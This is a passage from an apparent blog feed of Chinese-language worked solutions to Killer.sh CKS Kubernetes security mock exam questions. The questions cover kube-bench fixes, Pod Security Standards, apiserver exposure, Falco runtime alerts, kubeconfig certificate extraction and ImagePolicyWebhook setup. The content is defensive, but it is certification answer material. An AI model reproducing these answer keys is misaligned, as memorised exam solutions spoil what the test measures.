--targets=master | grep kube-controller -A 3</span><br><span class="line">kube-bench run --targets=master | grep 1.3.2</span><br></pre></td></tr></table></figure><h6 id="2"><a href="#2" class="headerlink" title="2"></a>2</h6><p>查看 &#x2F;var&#x2F;lib&#x2F;etcd 的权限</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ll /var/lib/etcd</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/3570854894a1818c551b044ce60ac0e19b73b5dad0cad64d4e215d7fdcb6544f.jpg" alt="kube-benc-2-1">  </p><p>权限为<code>root:root</code>, 需要设置为 <code>etcd:etcd</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">chown</span> -R etcd:etcd /var/lib/etcd  <span class="comment">#设置文件夹权限为etcd:etcd</span></span><br></pre></td></tr></table></figure><h6 id="3"><a href="#3" class="headerlink" title="3"></a>3</h6><p>切换到 cluster2-node1 ,对node进行检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-node1</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench run --targets=node</span><br></pre></td></tr></table></figure><p>检查 &#x2F;var&#x2F;lib&#x2F;kubelet&#x2F;config.yaml 权限,权限为777,需要修改权限为644</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ll /var/lib/kubelet/config.yaml</span><br><span class="line"><span class="built_in">chmod</span> 644 /var/lib/kubelet/config.yaml</span><br></pre></td></tr></table></figure><h6 id="4"><a href="#4" class="headerlink" title="4"></a>4</h6><p>检查 client-ca-file</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench run --targets=node | grep client-ca-file</span><br></pre></td></tr></table></figure><p>验证时通过的,无需修改</p><p><img src="https://images.hao.kim/uploads/2024/12/41d2dc7a1ee37e951caaee404642f9c698175bbdf84d689e8da78f4cadadfcbc.jpg" alt="kube-benc-2-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 4 | Pod Security Standard</title>
      <link href="/archives/kubernetes/CKS/pod-sec.html"/>
      <url>/archives/kubernetes/CKS/pod-sec.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 8%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>There is Deployment <code>container-host-hacker</code> in Namespace team-red which mounts &#x2F;run&#x2F;containerd as a hostPath volume on the Node where it’s running. This means that the Pod can access various data about other containers running on the same Node.</p><p>To prevent this configure Namespace <code>team-red</code> to <code>enforce</code> the <code>baseline</code> Pod Security Standard. Once completed, delete the Pod of the Deployment mentioned above.</p><p>Check the ReplicaSet events and write the event&#x2F;log lines containing the reason why the Pod isn’t recreated into  <code>/opt/course/4/logs</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：8%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>名称空间 <code>team-red</code> 中有一个 deployment <code>container-host-hacker</code> ，它将 <code>/run/containerd</code> 挂载为运行中的 Node 上的 <code>hostPath</code> 卷。这意味着该 Pod 可以访问在同一节点上运行的其他容器的各种数据。</p><p>为了防止这种情况，配置 Namespace <code>team-red</code> 来执行基线 Pod 安全标准。完成后，删除上面提到的部署的 Pod 。</p><p>检查 <code>ReplicaSet</code> 事件，并将包含 Pod 未重新创建原因的事件&#x2F;日志行写入 <code>/opt/course/4/logs</code>。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>命名空间安全标准通过标签发挥作用,直接编辑namespace</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k edit ns team-red</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Namespace</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">kubernetes.io/metadata.name:</span> <span class="string">team-red</span></span><br><span class="line">    <span class="attr">pod-security.kubernetes.io/enforce:</span> <span class="string">baseline</span> <span class="comment"># 添加</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">team-red</span></span><br></pre></td></tr></table></figure><p>现在删除pod,deployment 会自动创建pod,但是重新创建会失败,检查原因</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-red get pod</span><br><span class="line">k -n team-red delete pod container-host-hacker-dbf989777-wm8fc</span><br><span class="line">k -n team-red get pod</span><br><span class="line">k -n team-red get rs</span><br><span class="line">k -n team-red describe rs container-host-hacker-dbf989777</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/74590cb3574ea5a822ac6699bb2324474bad44935ac41adba988ed0338c1473b.jpg" alt="pod-sec-0">  </p><p>把日志写入文件 &#x2F;opt&#x2F;course&#x2F;4&#x2F;logs</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line"># /opt/course/4/logs</span><br><span class="line">Warning  FailedCreate      2m2s (x9 over 2m40s)  replicaset-controller  (combined from similar events): Error creating: pods &quot;container-host-hacker-dbf989777-kjfpn&quot; is forbidden: violates PodSecurity &quot;baseline:latest&quot;: hostPath volumes (volume &quot;containerdata&quot;)</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 3 | Apiserver Security</title>
      <link href="/archives/kubernetes/CKS/API-server-sec-2.html"/>
      <url>/archives/kubernetes/CKS/API-server-sec-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 3%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>You received a list from the DevSecOps team which performed a security investigation of the k8s cluster1 ( <code>workload-prod</code> ). The list states the following about the apiserver setup:</p><ul><li>Accessible through a NodePort Service</li></ul><p>Change the apiserver setup so that:</p><ul><li>Only accessible through a ClusterIP Service</li></ul><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务重量：3%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>你收到一份来自DevSecOps团队的清单，该团队对k8s cluster1（ <code>workload-prod</code> ）进行了安全调查。该清单对apiserver的设置做了如下说明。</p><ul><li>可通过 <code>NodePort</code> 访问</li></ul><p>改变apiserver的设置，以便。</p><ul><li>只能通过 <code>ClusterIP</code> Service 访问</li></ul><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>为了修改apiserver的参数，我们首先ssh进入主节点，检查apiserver进程的参数。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps aux | grep kube-apiserver  <span class="comment">#检查api-server</span></span><br><span class="line">kubectl get svc               <span class="comment">#查看svc</span></span><br><span class="line"><span class="built_in">cp</span> /etc/kubernetes/manifests/kube-apiserver.yaml .</span><br><span class="line">vim /etc/kubernetes/manifests/kube-apiserver.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#/etc/kubernetes/manifests/kube-apiserver.yaml</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">kube-apiserver</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--advertise-address=192.168.100.11</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--allow-privileged=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--authorization-mode=Node,RBAC</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--client-ca-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--enable-admission-plugins=NodeRestriction</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--enable-bootstrap-token-auth=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-servers=https://127.0.0.1:2379</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname</span></span><br><span class="line"><span class="comment">#    - --kubernetes-service-node-port=31000   # 删除这一行或者设置为0</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><p>删除旧的svc 自动新创建的svc则为clusterIP类型</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl delete svc kubernetes</span><br><span class="line">kubectl get svc</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/17c5e63bfee70d41901c7f5ce5c84e79f899218fc89ff50a0e58676e9c336e89.jpg" alt="API-server-sec-2-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 2 | Runtime Security with Falco</title>
      <link href="/archives/kubernetes/CKS/falco-2.html"/>
      <url>/archives/kubernetes/CKS/falco-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>Falco is installed with default configuration on node  <code>cluster1-node1</code> . Connect using <code>ssh cluster1-node1</code> . Use it to:</p><ul><li>Find a Pod running image <code>nginx</code> which creates unwanted package management processes inside its container.</li><li>Find a Pod running image <code>httpd</code> which modifies  <code>/etc/passwd</code> .</li></ul><p>Save the Falco logs for case 1 under <code>/opt/course/2/falco.log</code> in format: <code>time-with-nanosconds,container-id,container-name,user-name</code> No other information should be in any line. Collect the logs for at least 30 seconds.</p><p>Afterwards remove the threads (both 1 and 2) by scaling the replicas of the Deployments that control the offending Pods down to 0.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：4%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>Falco已经以默认配置安装在 <code>cluster1-node1</code> 节点上。使用 <code>ssh cluster1-node1</code> 连接到节点</p><ul><li>找到一个运行<code>nginx</code>镜像的Pod，它在其容器内创建了不需要的包管理进程。</li><li>找到一个运行<code>httpd</code>镜像的Pod，它修改了<code>/etc/passwd</code>。</li></ul><p>将上面的Falco日志保存在<code>/opt/course/2/falco.log</code>下，格式为。 <code>time-with-nanosconds,container-id,container-name,user-name</code> 任何一行都不应该有其他信息。收集至少<code>30</code>秒的日志。</p><p>之后，将违规 Pod 的 Deployments 的副本缩减到 <code>0</code> ，删除线程（包括1和2）。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="http://www.falco.org/">http://www.falco.org/</a></p><p><a href="https://github.com/draios/sysdig">https://github.com/draios/sysdig</a></p><p><a href="https://github.com/aquasecurity/tracee">https://github.com/aquasecurity/tracee</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context workload-prod</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-node1</span><br><span class="line">ll /etc/falco/</span><br></pre></td></tr></table></figure><p>检查 falco配置 syslog输出是否开启</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/falco/falco.yaml</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="comment"># Where security notifications should go.</span></span><br><span class="line"><span class="comment"># Multiple outputs can be enabled.</span></span><br><span class="line"></span><br><span class="line"><span class="attr">syslog_output:</span></span><br><span class="line">  <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><p>查看容器id 并通过id 查看pod信息</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">grep falco /var/log/syslog | grep nginx | grep process | grep container_id</span><br><span class="line">crictl ps -<span class="built_in">id</span> 7a5ea6a080d1</span><br><span class="line">crictl pods -<span class="built_in">id</span> 7a864406b9794</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/893bb4d893effdc68888abe47f6bff06bda0e7770cc4303a2215d30a42b28800.jpg" alt="falco-2-0">  </p><p><img src="https://images.hao.kim/uploads/2024/12/ae0c9f1e649fcd37fc76a9976d8fd6542eadc8a8f618c1099dde3b80520e08a9.jpg" alt="falco-2-1">  </p><p>第一个pod 在 team-blue</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">grep falco /var/log/syslog  | grep httpd | grep passwd | grep container_id</span><br><span class="line">crictl ps -<span class="built_in">id</span> b1339d5cc2de</span><br><span class="line">crictl pods -<span class="built_in">id</span> 595af943c3245</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/540301b020e333a1a91c36b04cde747872bfb1ecc5c9c02452b39f03e24b11d5.jpg" alt="falco-2-2">  </p><p>第二个pod 在 team-purple</p><p>对pod进行缩容到0</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-blue scale deploy webapi --replicas 0</span><br><span class="line">k -n team-purple scale deploy rating-service --replicas 0</span><br></pre></td></tr></table></figure><p>查找 &#x2F;etc&#x2F;falco目录下 包含相关单词的文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">grep -ir <span class="string">&quot;Package management process launched&quot;</span> /etc/falco/</span><br><span class="line"><span class="built_in">cp</span> /etc/falco/falco_rules.yaml .</span><br><span class="line">vim /etc/falco/falco_rules.yaml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7ad98c95f7ce94be2db5181bd1d77c87fb6dc3fee38e0709d952f63b3bdbd6f6.jpg" alt="falco-2-3">  </p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Container is supposed to be immutable. Package management should be done in building the image.</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">rule:</span> <span class="string">Launch</span> <span class="string">Package</span> <span class="string">Management</span> <span class="string">Process</span> <span class="string">in</span> <span class="string">Container</span></span><br><span class="line">  <span class="attr">desc:</span> <span class="string">Package</span> <span class="string">management</span> <span class="string">process</span> <span class="string">ran</span> <span class="string">inside</span> <span class="string">container</span></span><br><span class="line">  <span class="attr">condition:</span> <span class="string">&gt;</span></span><br><span class="line"><span class="string">    spawned_process</span></span><br><span class="line"><span class="string">    and container</span></span><br><span class="line"><span class="string">    and user.name != &quot;_apt&quot;</span></span><br><span class="line"><span class="string">    and package_mgmt_procs</span></span><br><span class="line"><span class="string">    and not package_mgmt_ancestor_procs</span></span><br><span class="line"><span class="string">    and not user_known_package_manager_in_container</span></span><br><span class="line"><span class="string"></span>  <span class="attr">output:</span> <span class="string">&gt;</span></span><br><span class="line"><span class="string">    #Package management process launched in container (user=%user.name user_loginuid=%user.loginuid</span></span><br><span class="line"><span class="string">    #command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)</span></span><br><span class="line"><span class="string">    Package management process launched in container %evt.time,%container.id,%container.name,%user.name</span></span><br><span class="line"><span class="string">    # 删除上面两行,并添加</span></span><br><span class="line"><span class="string"></span>  <span class="attr">priority:</span> <span class="string">ERROR</span></span><br><span class="line">  <span class="attr">tags:</span> [<span class="string">process</span>, <span class="string">mitre_persistence</span>]</span><br></pre></td></tr></table></figure><p>格式化输出falco日志, 并把结果复制到文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart falco</span><br><span class="line">grep -i <span class="string">&quot;Package management&quot;</span> /var/log/syslog | awk <span class="string">&#x27;&#123;printf $26&#125;&#x27;</span> | sed <span class="string">&#x27;s/root/root\n/g&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/8ce58e6eb505060270bdf41399cfaa2d845a5d882de4bce35949ee34de1fe199.jpg" alt="falco-2-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 1 | Contexts</title>
      <link href="/archives/kubernetes/CKS/context-2.html"/>
      <url>/archives/kubernetes/CKS/context-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 1%</p><p>You have access to multiple clusters from your main terminal through <code>kubectl</code> contexts. Write all context names into  <code>/opt/course/1/contexts</code> , one per line.</p><p>From the kubeconfig extract the certificate of user <code>restricted@infra-prod</code> and write it decoded to  <code>/opt/course/1/cert</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：1</p><p>你可以通过终端使用 <code>kubectl</code> 访问多个集群。把所有的上下文名称每行一个写进 <code>/opt/course/1/contexts</code></p><p>从 <code>kubeconfig</code> 中提取用户 <code>restricted@infra-prod</code> 的证书，并将其解码后写入 <code>/opt/course/1/cert</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>把所有集群名字写入文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k config get-contexts</span><br><span class="line">k config get-contexts -o name &gt; /opt/course/1/contexts</span><br><span class="line">或者</span><br><span class="line">k config view -o jsonpath=<span class="string">&quot;&#123;.contexts[*].name&#125;&quot;</span> | <span class="built_in">tr</span> <span class="string">&quot; &quot;</span> <span class="string">&quot;\n&quot;</span> &gt; /opt/course/1/contexts</span><br></pre></td></tr></table></figure><p>用户信息</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k config view --raw -ojsonpath=<span class="string">&quot;&#123;.users[*].name&#125;&quot;</span> <span class="comment"># 查看有哪些用户信息</span></span><br><span class="line">k config view --raw -ojsonpath=<span class="string">&quot;&#123;.users[2].user.client-certificate-data&#125;&quot;</span> | <span class="built_in">base64</span> -d &gt; /opt/course/1/cert</span><br><span class="line"></span><br><span class="line"><span class="comment">#或者直接使用命令</span></span><br><span class="line">k config view --raw -ojsonpath=<span class="string">&quot;&#123;.users[?(.name == &#x27;restricted@infra-prod&#x27;)].user.client-certificate-data&#125;&quot;</span> | <span class="built_in">base64</span> -d &gt; /opt/course/1/cert</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/ddbdb13bc1d0a82817af2f506801b7adac518c5b10de09a123b4725874ad2c53.jpg" alt="context-2-0"><br><img src="https://images.hao.kim/uploads/2024/12/9678209a8cff8b395f6e4234cdbff60815bf91ad1303650b72e96290173c105e.jpg" alt="context-2-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS killer.sh模拟环境设置</title>
      <link href="/archives/kubernetes/CKS/env-setting.html"/>
      <url>/archives/kubernetes/CKS/env-setting.html</url>
      
        <content type="html"><![CDATA[<p>预先设置环境变量, 提高效率</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">alias</span> k=kubectl                         <span class="comment"># kubectl 命令可以使用k代替</span></span><br><span class="line"><span class="built_in">export</span> <span class="keyword">do</span>=<span class="string">&quot;--dry-run=client -o yaml&quot;</span>    <span class="comment"># 导出yaml文件 可以用$do , 如 k create deploy nginx --image=nginx $do</span></span><br><span class="line"><span class="built_in">export</span> now=<span class="string">&quot;--force --grace-period 0&quot;</span>   <span class="comment"># 强制 如:  k delete pod x $now</span></span><br></pre></td></tr></table></figure><p>vim 设置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;ts=2 sw=2 et ai&quot;</span> &gt;&gt; ~/.vimrc</span><br><span class="line"><span class="built_in">source</span> ~/.vimrc</span><br></pre></td></tr></table></figure><p>设置空格, tab,为2, tab为2空格, 换行自动对齐</p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 16、ImagePolicyWebhook容器镜像扫描</title>
      <link href="/archives/kubernetes/CKS/ImagePolicyWebhook-scan.html"/>
      <url>/archives/kubernetes/CKS/ImagePolicyWebhook-scan.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/1e3432c26e2d6c2a4d039728b901045a423fcac7a0aead1a41cd764df2e5cc1c.jpg" alt="ImagePolicyWebhook-scan-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>cluster 上设置了容器镜像扫描器，但尚未完全集成到 cluster 的配置中。 完成后，容器镜像扫描器应扫描并拒绝易受攻击的镜像的使用。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>注意：你必须在 cluster 的 <code>master</code> 节点上完成整个考题，所有服务和文件都已被准备好并放置在该节点上。</p><p>给定一个目录 <code>/etc/kubernetes/epconfig</code> 中不完整的配置， 以及具有 HTTPS 端点 <a href="https://image-bouncer-webhook.default.svc:1323/image_policy"><code>https://image-bouncer-webhook.default.svc:1323/image_policy</code></a> 的功能性容器镜像扫描器：</p><ul><li>启用必要的插件来创建镜像策略</li><li>校验控制配置并将其更改为隐式拒绝（implicit deny）</li><li>编辑配置以正确指向提供的 HTTPS 端点</li></ul><p>最后，通过尝试部署易受攻击的资源 <code>/cks/img/web1.yaml</code> 来测试配置是否有效。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/reference/access-authn-authz/admission-controllers/#%E5%A6%82%E4%BD%95%E5%90%AF%E7%94%A8%E4%B8%80%E4%B8%AA%E5%87%86%E5%85%A5%E6%8E%A7%E5%88%B6%E5%99%A8">https://kubernetes.io/zh/docs/reference/access-authn-authz/admission-controllers/#如何启用一个准入控制器</a></p><p><a href="https://kubernetes.io/zh/docs/reference/access-authn-authz/admission-controllers/#imagepolicywebhook">https://kubernetes.io/zh/docs/reference/access-authn-authz/admission-controllers/#imagepolicywebhook</a></p><p><a href="https://kubernetes.io/zh/docs/tasks/debug/debug-cluster/audit/#log-%E5%90%8E%E7%AB%AF">https://kubernetes.io/zh/docs/tasks/debug/debug-cluster/audit/#log-后端</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSSH00901</span><br></pre></td></tr></table></figure><p>远程到master并切换root</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh master01</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><p>编辑admission_configuration.json（题目会给这个目录），修改defaultAllow为false：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vi /etc/kubernetes/epconfig/admission_configuration.json</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">&quot;denyTTL&quot;:</span> <span class="number">50</span><span class="string">,</span></span><br><span class="line"><span class="attr">&quot;retryBackoff&quot;:</span> <span class="number">500</span><span class="string">,</span></span><br><span class="line"><span class="attr">&quot;defaultAllow&quot;:</span> <span class="literal">false</span> <span class="comment">#将true改为false</span></span><br></pre></td></tr></table></figure><p>编辑&#x2F;etc&#x2F;kubernetes&#x2F;epconfig&#x2F;kubeconfig.yml，添加 webhook server 地址： 操作前，先备份配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/kubernetes/epconfig/kubeconfig.yml bakyaml/</span><br><span class="line">vi /etc/kubernetes/epconfig/kubeconfig.yml</span><br></pre></td></tr></table></figure><p>修改如下内容</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line">  <span class="attr">certificate-authority:</span> <span class="string">/etc/kubernetes/epconfig/server.crt</span></span><br><span class="line">  <span class="attr">server:</span> <span class="string">https://image-bouncer-webhook.default.svc:1323/image_policy</span> <span class="comment">#添加webhook server地址</span></span><br><span class="line"><span class="attr">name:</span> <span class="string">bouncer_webhook</span></span><br></pre></td></tr></table></figure><p>编辑kube-apiserver.yaml，从官网中引用 ImagePolicyWebhook 的配置信息： 操作前，先备份配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/kubernetes/manifests/kube-apiserver.yaml bakyaml/</span><br><span class="line">vi /etc/kubernetes/manifests/kube-apiserver.yaml</span><br></pre></td></tr></table></figure><p>在- command:下添加如下内容，注意空格要对齐（不建议放到最后，建议放置的位置详见下方截图）</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--enable-admission-plugins=NodeRestriction,ImagePolicyWebhook</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="string">--admission-control-config-file=/etc/kubernetes/epconfig/admission_configuration.json</span></span><br><span class="line"><span class="comment">#在1.25的考试中，默认这行已经添加了，但为了以防万一，模拟环境，没有添加，需要你手动添加。考试时，你先检查，有的话，就不要再重复添加了。重复添加反而会报错！</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/05df5e8f4e979cac6d3f8fae6328b7fa2f84a0fe60e4c7950bc9622a01cdf861.jpg" alt="ImagePolicyWebhook-scan-1">  </p><p>在kube-apiserver.yaml的 volumeMounts 增加</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">volumeMounts:</span> <span class="comment">#在volumeMounts下面增加 #注意，在1.25考试中，蓝色的内容可能已经有了，你只需要添加绿色字体的内容。可以通过红色字，在文件中定位。但模拟环境没有加，需要你全部手动添加。这样是为了练习，万一考试中没有，你也会加。但是如果考试中已添加，你再添加一遍，则会报错，导致api-server启不起来。</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/etc/kubernetes/epconfig</span> <span class="comment">#建议紧挨着volumeMounts的下方增加</span></span><br><span class="line"><span class="attr">name:</span> <span class="string">epconfig</span></span><br><span class="line"><span class="attr">readOnly:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/58f206c9a3c66a737fc8e8641726f11454e4149c009f7f454045763b1c8afd26.jpg" alt="ImagePolicyWebhook-scan-2">  </p><p>在kube-apiserver.yaml的volumes 增加</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">volumes:</span> <span class="comment">#在volumes下面增加 #注意，在1.25考试中，蓝色的内容可能已经有了，你只需要检查确认一下是否准确。可以通过红色字，在文件中定位。但模拟环境没有加，需要你全部手动添加。这样是为了练习，万一考试中没有，你也会加。但是如果考试中已添加，你再添加一遍，则会报错，导致api-server启不起来。</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">epconfig</span> <span class="comment">#建议紧挨着volumes的下方增加</span></span><br><span class="line"><span class="attr">hostPath:</span></span><br><span class="line"><span class="attr">path:</span> <span class="string">/etc/kubernetes/epconfig</span></span><br><span class="line"><span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br><span class="line"><span class="comment">#如果你写的是目录，则是DirectoryOrCreate，如果你写的是文件，则是File</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9a63ca1027e8497e3774db972afb6d3b3c3884d7148d4e3a1a4a478b3abf5e3f.jpg" alt="ImagePolicyWebhook-scan-3">  </p><p>重启并检查集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart kubelet</span><br><span class="line">kubectl -n kube-system get pod</span><br></pre></td></tr></table></figure><p>通过尝试部署易受攻击的资源 <code>/cks/img/web1.yaml</code> 来测试配置是否有效 无法创建pod，如下报错，表示成功。 因为模拟环境里的image_policy策略是镜像tag是latest的不允许创建。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /cks/img/web1.yaml</span><br></pre></td></tr></table></figure><p><img 